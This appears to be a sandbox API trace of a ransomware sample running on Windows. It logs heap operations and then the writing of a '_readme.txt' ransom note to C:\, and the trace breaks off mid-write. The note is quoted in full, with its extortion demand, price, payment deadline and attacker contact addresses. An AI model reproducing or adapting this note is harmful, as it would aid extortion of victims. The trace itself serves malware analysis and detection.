RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.266] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.267] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.267] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.269] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.270] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.270] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.270] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.270] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.270] PathFindFileNameW (pszPath="") returned="" [0116.270] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.271] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.271] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.271] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.271] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.271] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.271] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.271] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.271] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.271] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.271] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x806) returned 0x39f3ef0 [0116.271] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0116.271] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f4700 [0116.271] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0116.272] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f4f18 [0116.272] lstrcpyW (in: lpString1=0x39f4f18, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.272] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.273] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39fcc20 [0116.273] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0116.274] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x930) returned 0x39fd438 [0116.274] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x895) returned 0x39fdd70 [0116.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39fdd70, cbMultiByte=2197, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to 